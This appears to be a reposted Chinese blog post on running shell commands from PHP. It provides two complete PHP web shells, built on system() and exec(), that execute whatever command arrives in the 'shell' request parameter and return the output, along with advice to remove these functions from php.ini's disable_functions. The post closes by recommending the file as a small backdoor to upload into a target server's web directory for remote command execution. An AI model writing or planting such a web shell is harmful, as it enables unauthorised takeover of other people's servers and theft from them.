php执行cmd/shell命令 木马小后门

php执行shell命令,可以使用下面几个函数: 

string system ( string $command [, int &$return_var ] )

string exec ( string $command [, array &$output [, int &$return_var ]] )

void passthru ( string $command [, int &$return_var ] )

 注意的是:这三个函数在默认的情况下,都是被禁止了的,如果要使用这几个函数,就要先修改php的配置文件php.ini,查找关键字disable_functions,将这一项中的这几个函数名删除掉,然后注意重启apache。

  首先看一下system()和passthru()两个功能类似,可以互换:

<?php
    #获取网页传递参数
    $shell = $_REQUEST['shell'];
    echo "<pre>";
    system($shell, $status);
    echo "</pre>";
    //注意shell命令的执行结果和执行返回的状态值的对应关系
    $shell = "<font color='red'>$shell</font>";
    if( $status ){
        echo "shell命令{$shell}执行失败";
    } else {
        echo "shell命令{$shell}成功执行";
    }
?>

 访问地址,并传递shell参数

http://localhost:81/shell.php?shell=ipconfig

  注意,system()会将shell命令执行之后,立马显示结果,这一点会比较不方便,因为我们有时候不需要结果立马输出,甚至不需要输出,于是可以用到exec()

  

  exec()的使用示例: 

<?php
    $shell = $_REQUEST['shell'];
    exec($shell, $result, $status);
    $shell = "<font color='red'>$shell</font>";
    echo "<pre>";
    if( $status ){
        echo "shell命令{$shell}执行失败";
    } else {
        echo "shell命令{$shell}成功执行, 结果如下<hr>";
        print_r( $result );
    }
    echo "</pre>";
?>

exec()执行shell命令成功,但是并不返回结果,需要使用输出命令,输出$result结果

作为木马小后门,上传到对方服务器下的网站目录下,访问该地址,就可以在靶机上执行你想执行的命令,并且拿到回显结果。

猜你喜欢

转载自blog.csdn.net/weixin_42350212/article/details/108375145